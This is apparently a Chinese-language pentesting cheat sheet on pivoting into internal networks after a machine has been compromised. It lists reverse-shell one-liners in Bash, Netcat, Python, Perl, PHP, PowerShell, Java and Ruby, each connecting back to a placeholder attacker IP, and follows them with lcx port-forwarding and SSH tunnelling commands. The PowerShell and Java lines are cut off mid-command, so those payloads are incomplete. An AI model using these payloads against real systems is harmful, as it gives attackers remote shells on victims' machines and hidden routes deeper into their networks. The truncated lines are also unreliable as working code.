介绍
内网转发是一种网络技术,通过一台已受控的内网机器,将外部流量转发到内网中的其他目标设备。通常用于绕过防火墙或其他安全措施,使外部攻击者能够访问内部网络资源
代理方式
- 正向代理
正向代理用于隐藏客户端的真实IP地址,通过代理服务器代表客户端向目标服务器发送请求,或并将服务器的响应返回给客户端
- 反向代理
反向代理用于隐藏服务器的真实IP地址、均衡负载、缓存内容、以及增强安全性,通过代理服务器代表服务器接收客户端的请求。客户端的请求首先到达代理服务器,其根据请求将其转发给合适的服务器,并将服务器的响应返回给客户端
内网转发的前提
- 受控节点
攻击者成功攻陷内网中的一台或多台机器,通常通过漏洞利用、钓鱼攻击、社工攻击等手段获得对该机器的访问权限
- 网络可达性
受控机器需要能够与内网中的其他目标设备通信,确保能够将流量成功转发到目标设备上
- 工具和权限
受控机器上需要具备必要的工具(如SSH、SOCKS代理、端口转发工具)和足够的权限,以设置和管理转发规则
反弹shell
反弹Shell用于通过外部服务器与受害者机器建立连接,控制受害者的计算机。以下是几种常见的反弹Shell方式:
- Bash
bash -i >& /dev/tcp/<攻击者IP>/<端口> 0>&1
- Netcat
nc -e /bin/bash <攻击者IP> <端口>
- Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击者IP>",<端口>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- Perl
perl -e 'use Socket;$i="<攻击者IP>";$p=<端口>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- PHP
php -r '$sock=fsockopen("<攻击者IP>",<端口>);exec("/bin/sh -i <&3 >&3 2>&3");'
- PowerShell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<攻击者IP>",<端口>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535
- Java
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/<攻击者IP>/<端口>;cat <&5
- Ruby
ruby -rsocket -e'f=TCPSocket.open("<攻击者IP>",<端口>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
端口转发
- 下载zip文件后解压到指定的目录,并记住所在的目录,添加到系统环境变量Path中
- listen模式:监听
lcx -listen <监听 slave 请求的端口> <等待连接的端口>
- slave模式:连接
lcx -slave <本机 ip> <监听端口> <目标 ip> <目标端口>
- tran模式:转发
lcx -tran <等待连接的端口> <目标 ip> <目标端口>
SSH反向代理
SSH 反向代理通过 SSH 隧道将内网服务暴露给外部访问
- 工作原理:
SSH 反向代理的基本原理是通过 SSH 隧道将本地服务的端口转发到远程服务器上,从而使外部能够访问该服务。具体来说,它是在远程服务器上打开一个端口,所有对该端口的访问都会通过 SSH 隧道转发到本地服务
- 使用:
# 本地端口转发
ssh -L 本地端口:目标IP:目标端口 用户@本地IP
# 远程端口转发
ssh -R 远程端口:目标IP:目标端口 用户@远程IP
#动态转发多个端口
ssh -D 本地端口 用户@远程IP
参数 | 作用 |
---|---|
-R | 指定远程端口转发,将远程服务器上的某个端口转发到本地计算机上的指定地址和端口 |
-L | 指定本地端口转发,将本地计算机上的某个端口转发到远程服务器上的指定地址和端口 |
-D | 创建一个SOCKS代理服务器,允许动态转发多个端口 |
-f | 在后台运行SSH会话 |
-N | 不执行远程命令,仅进行端口转发 |
-T | 不分配伺服终端 |
-C | 启用压缩 |
-i | 指定用于认证的私钥文件 |
-p | 指定远程服务器的端口号 |
-g | 允许远程服务器连接到本地转发的端口 |
-4 | 强制SSH使用IPv4地址 |
-6 | 强制SSH使用IPv6地址 |
-v | 显示详细的调试信息(v表示基本,vv表示更多调试信息,vvv表示最大调试信息) |